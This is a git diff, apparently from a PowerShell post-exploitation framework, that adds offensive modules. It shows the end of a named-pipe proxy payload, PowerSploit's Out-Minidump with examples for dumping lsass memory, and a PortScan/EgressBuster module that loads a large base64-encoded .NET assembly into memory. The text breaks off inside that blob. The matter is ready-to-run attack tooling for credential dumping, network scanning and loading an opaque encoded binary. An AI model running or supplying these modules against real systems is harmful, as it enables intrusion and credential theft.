$pipe.Dispose(); + } + exit +} +add-Type -assembly "System.Core" + +$MaxThreads = 5 +$RunspacePool = [RunspaceFactory]::CreateRunspacePool(1, $MaxThreads) +$RunspacePool.Open() +$Jobs = @() +$Job = [powershell]::Create().AddScript($ScriptBlock).AddArgument($proxypayload) +$Job.RunspacePool = $RunspacePool +$Job.BeginInvoke() | Out-Null + +$pi = new-object System.IO.Pipes.NamedPipeClientStream(".", "PoshMSProxy"); + + diff --git a/Modules/Out-Minidump.ps1 b/Modules/Out-Minidump.ps1 new file mode 100644 index 0000000..a43ee0f --- /dev/null +++ b/Modules/Out-Minidump.ps1 @@ -0,0 +1,130 @@ +function Out-Minidump +{ +<# +.SYNOPSIS + + Generates a full-memory minidump of a process. + + PowerSploit Function: Out-Minidump + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + Out-Minidump writes a process dump file with all process memory to disk. + This is similar to running procdump.exe with the '-ma' switch. + +.PARAMETER Process + + Specifies the process for which a dump will be generated. The process object + is obtained with Get-Process. + +.PARAMETER DumpFilePath + + Specifies the path where dump files will be written. By default, dump files + are written to the current working directory. Dump file names take following + form: processname_id.dmp + +.EXAMPLE + + Out-Minidump -Process (Get-Process -Id 4293) + + Description + ----------- + Generate a minidump for process ID 4293. + +.EXAMPLE + + Get-Process lsass | Out-Minidump + + Description + ----------- + Generate a minidump for the lsass process. Note: To dump lsass, you must be + running from an elevated prompt. + +.EXAMPLE + + Get-Process | Out-Minidump -DumpFilePath C:\temp + + Description + ----------- + Generate a minidump of all running processes and save them to C:\temp. + +.INPUTS + + System.Diagnostics.Process + + You can pipe a process object to Out-Minidump. + +.OUTPUTS + + System.IO.FileInfo + +.LINK + + http://www.exploit-monday.com/ +#> + + [CmdletBinding()] + Param ( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)] + [System.Diagnostics.Process] + $Process, + + [Parameter(Position = 1)] + [ValidateScript({ Test-Path $_ })] + [String] + $DumpFilePath = $PWD + ) + + BEGIN + { + $WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting') + $WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic') + $Flags = [Reflection.BindingFlags] 'NonPublic, Static' + $MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags) + $MiniDumpWithFullMemory = [UInt32] 2 + } + + PROCESS + { + $ProcessId = $Process.Id + $ProcessName = $Process.Name + $ProcessHandle = $Process.Handle + $ProcessFileName = "$($ProcessName)_$($ProcessId).dmp" + + $ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName + + $FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create) + + $Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle, + $ProcessId, + $FileStream.SafeFileHandle, + $MiniDumpWithFullMemory, + [IntPtr]::Zero, + [IntPtr]::Zero, + [IntPtr]::Zero)) + + $FileStream.Close() + + if (-not $Result) + { + $Exception = New-Object ComponentModel.Win32Exception + $ExceptionMessage = "$($Exception.Message) ($($ProcessName):$($ProcessId))" + + # Remove any partially written dump files. For example, a partial dump will be written + # in the case when 32-bit PowerShell tries to dump a 64-bit process. + Remove-Item $ProcessDumpPath -ErrorAction SilentlyContinue + + throw $ExceptionMessage + } + else + { + Get-ChildItem $ProcessDumpPath + } + } + + END {} +} diff --git a/Modules/PortScanner.ps1 b/Modules/PortScanner.ps1 new file mode 100644 index 0000000..cd5fc6a --- /dev/null +++ b/Modules/PortScanner.ps1 @@ -0,0 +1,41 @@ +<# +.Synopsis + Quick PortScan / EgressBuster + + PortScan / EgressBuster 2017 + Rob Maslen @rbmaslen + +.DESCRIPTION + PS C:\> Usage: PortScan -IPaddress -Ports -maxQueriesPS -Delay +.EXAMPLE + PS C:\> PortScan -IPaddress 127.0.0.1 -Ports 1-65535 -maxQueriesPS 10000 +.EXAMPLE + PS C:\> PortScan -IPaddress 192.168.1.0/24 -Ports 1-65535 -maxQueriesPS 10000 +.EXAMPLE + PS C:\> PortScan -IPaddress 192.168.1.1-50 -Ports "80,443,55" -maxQueriesPS 10000 +.EXAMPLE + PS C:\> PortScan -IPaddress 192.168.1.1-50 -Ports "80,443,55" -maxQueriesPS 1 -Delay 1 +#> +$pscanloaded = $null +function PortScan { +param( +[Parameter(Mandatory=$true)][string]$IPaddress, +[Parameter(Mandatory=$false)][string]$Ports="1-1000", +[Parameter(Mandatory=$false)][string]$maxQueriesPS=1000, +[Parameter(Mandatory=$false)][int]$Delay=0 +) + + $Delay = $Delay *1000 + if ($pscanloaded -ne "TRUE") { + $script:pscanloaded = "TRUE" + echo "[+] Loading Assembly" + $ps = "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EgQocQAACiwSCReaEgUocQAACiwGEQQRBTERctwGAHAIKBMAAApzKwAACnoRBBMGKyQCexcAAAQRBtFvcgAACi0OAnsXAAAEEQbRb3MAAAoRBhdYEwYRBhEFMdYrSHLcBgBwCCgTAAAKcysAAAp6CBIHKHEAAAotEXIiBwBwCCgTAAAKcysAAAp6AnsXAAAEEQdvcgAACi0NAnsXAAAEEQdvcwAACgcXWAsHBo5pPx7///8CexcAAARvdAAACgICexcAAARvdQAACgIoQAAABm8dAAAGb3YAAApafR4AAAQqZgIoNAAABm8ZAAAKJgJ8HwAABCh3AAAKJioAEzABAEEAAAAAAAAAAig0AAAGb3gAAAomAnwfAAAEKHkAAAomAnweAAAEKHkAAAomAnsfAAAELRQCex4AAAQtDAIoMgAABm8YAAAKJioeAnsiAAAEKiICA30iAAAEKhp+IwAABCoeAoAjAAAEKh4CeyQAAAQqIgIDfSQAAAQqHgJ7JQAABCoiAgN9JQAABCoeAnsmAAAEKiICA30mAAAEKjIWc2sAAAooUQAABioAAAAbMAIASgAAAAkAABECKFQAAAYWMUAoUAAABi0oAnsnAAAECgYoUwAACihQAAAGLQsWc2sAAAooUQAABt4HBihUAAAK3ChQAAAGAihUAAAGbzQAAAomKgAAARAAAAIAHQAUMQAHAAAAAEoCc0MAAAp9JwAABAIoQwAACio6AihDAAAKAgN9KAAABCoyAnsoAAAEc18AAAYqHgIoXAAABioeAihdAAAGKgATMAIAVwAAAA0AABECKEMAAAoCA30pAAAEAygRAAAGCgMoEgAABgsGb0UAAAosCQIGKGEAAAYrDwdvRQAACiwHAgcoYAAABgZvRQAACi0TB29FAAAKLQtyTgcAcHMrAAAKeioAEzAEAJsAAAAOAAARA296AAAKcr4HAHBvewAACm98AAAKKH0AAAoKA296AAAKcsQHAHBvewAACm98AAAKKH4AAAoLA296AAAKcs4HAHBvewAACm98AAAKKH4AAAoMBwgxC3LUBwBwcysAAAp6CCD+AAAAMQtyKggAcHMrAAAKegZvfwAACiUogAAAChYogQAACg0CCX0qAAAEAgkIB1lYF1h9KwAABCoAEzADALIAAAAPAAARA296AAAKcr4HAHBvewAACm98AAAKKH0A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